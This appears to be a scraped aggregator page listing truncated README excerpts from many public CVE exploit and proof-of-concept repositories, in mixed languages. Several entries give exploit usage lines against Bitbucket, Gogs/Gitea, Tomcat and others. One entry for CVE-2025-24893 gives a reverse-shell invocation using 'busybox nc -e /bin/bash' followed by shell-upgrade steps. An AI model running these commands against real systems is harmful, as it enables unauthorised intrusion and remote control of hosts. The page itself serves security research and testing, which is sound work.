lighty-sqlinj-demo

title: Ep4 - Vulnerabilidad Relacionada con Redes members: Ciro S. Costa Marcela Terakado date: 10 Nov, 2015 Vulnerabilidad relacionada: root@kitploit: CVE-2014-2323 1 was assigned to SQL injection bug. CVE-2014-2324 2 was assigned to the path traversal bug. Confirmación:...

CVE-2022-26133

CVE-2022-26133 Description Atlassian Bitbucket Data Center Deserialization Vulnerability CVE-2022-26133 Batch Verification and Exploitation Vulnerability Verification Batch root@kitploit: python3 CVE-2022-26133.py -u http://192.168.110.136:7990 -f target.txt Exploitation Disclaimer: This tool is...

cve-2019-9978

CVE-2019-9978 Esto es parte de Cved: una herramienta para gestionar contenedores Docker vulnerables. Cved: https://github.com/git-rep-src/cved Fuente de la imagen: https://github.com/cved-sources/cve-2019-9978 Autor de la imagen: https://github.com/cved-sources/cve-2019-9978...

CVE-2025-24893

Reverse shell para CVE-2025-24893 root@kitploit: python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" mejorar la shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

CVE-2025-8625

CVE-2025-8625 — PoC Resumen Este repositorio contiene los archivos fuente para un artículo publicado en Xakep.ru. El repositorio contiene materiales de demostración destinados únicamente a la investigación de seguridad, la educación y las pruebas en entornos de laboratorio aislados. Este...

gogsownz

GogsOwnz GogsOwnz 是一个简单的脚本，用于在 Gogs/Gitea 服务器上获取管理员权限和远程代码执行（RCE）。 利用 Gogs/Gitea 的漏洞，包括 CVE-2018-18925 、CVE-2018-20303 。 法律免责声明 本脚本按原样提供，无任何担保，请自行使用并遵守法律。 典型用法 - 请阅读完整用法 获取正在运行的 Gogs/Gitea 信息 root@kitploit: python3 gogsownz.py https://127.0.0.1:3000/ -v --info 利用预授权权限提升（PrivEsc） root@kitploit:...

shakeitoff

shakeitoff A smaller, minimized, and cleaner version of InstallerFileTakeOver aka the zero-day exploit that is a "variation" of CVE-2021-41379 later assigned CVE-2021-43883. This version does not pop a shell like InstallerFileTakeOver. The point of this code was to create a simpler proof of conce...

CVE-2021-21972-vCenter-6.5-7.0-RCE-POC

CVE-2021-21972-vCenter-6.5-7.0-RCE-POC poc Solo verificar el estado de retorno de la ruta de alguien POC Solo para pruebas, no se ha añadido módulo EXP POC Solo para pruebas, no se ha añadido módulo exp...

system_bt_aosp10_cve-2022-20140

Fluoride Bluetooth stack Building and running on AOSP Just build AOSP - Fluoride is there by default. Building and running on Linux Instructions for Ubuntu, tested on 14.04 with Clang 3.5.0 and 16.10 with Clang 3.8.0 Download source root@kitploit: mkdir /fluoride cd /fluoride git clone...

ccs-eval

Evaluates hosts for CVE-2014-0224 vulnerability https://vulners.com/cve/CVE-2014-0224 Usage: ccs-eval.py list-of-hosts.txt -Takes in a list of hosts, line seperated. Checks the host for common SSL ports using nmap. Peforms PoC injection test supplied by RedHat fake-client-early-ccs.pl. Writes...

strutser

strutser Este programa verifica la CVE-2017-5638. Uso root@kitploit: Usage of ./strutser: Usage of ./strutser: -c, --concurrency int Concurrent HTTP requests. default 10 -f, --file string File containing targets -p, --ports intSlice Ports to check. default 80 -t, --timeout int Timeout on HTTP...

CVE-2010-3333-reproduction

Este repositorio no tiene un README...

CVE-2020-14882_POC

Verificación por lotes de CVE-2020-14882 Uso python3 CVE-2020-14882.py Coloca los objetivos en target.txt, uno por línea Ejemplo...

CVE-2017-8917-Joomla-370-SQL-Injection

Este repositorio no tiene un README...

vuln_test_repo_public_ruby_gemfile_cve-2016-6317

Este repositorio no tiene un README...

Tomcat-CVE-2024-50379-Poc

Tomcat-CVE-2024-50379-Poc !IMPORTANT Solo para fines de aprendizaje e intercambio, no lo uses para fines ilegales. RCE mediante una condición de carrera en Apache Tomcat referencia: https://github.com/iSee857/CVE-2024-50379-PoC Demo Uso root@kitploit: go run main.go -u http://localhost:8080/...

CVE-2023-30212-OURPHP-Vulnerability

Este repositorio no tiene un README...

RTF-Cleaner

RTF-Cleaner Limpia RTF, intenta extraer URL de muestras RTF maliciosas usando CVE-2017-0199 y CVE-2017-8759...

PunchingBag-for-React2Shell

🥊 PunchingBag - Plataforma de Investigación de Seguridad CVE-2025-55182 ⚠️ SOLO CON FINES EDUCATIVOS : Esta es una aplicación intencionalmente vulnerable diseñada para investigación de seguridad autorizada y desafíos CTF. NO utilice estas técnicas en sistemas no autorizados. Una aplicación Next.js...

CVE-2025-5840

CVE-2025-5840 Exploit de CVE-2025-5840 en Python por hax / haxerr9 Cómo Usar: Asegúrate de que Python3 esté instalado en el sistema. Ejecuta "python3 CVE-2025-5840.py URL -c COMMAND". No olvides pasarle los parámetros antes de ejecutar el script. Ejemplo de Uso: NO PROBADO Este exploit no ha sido...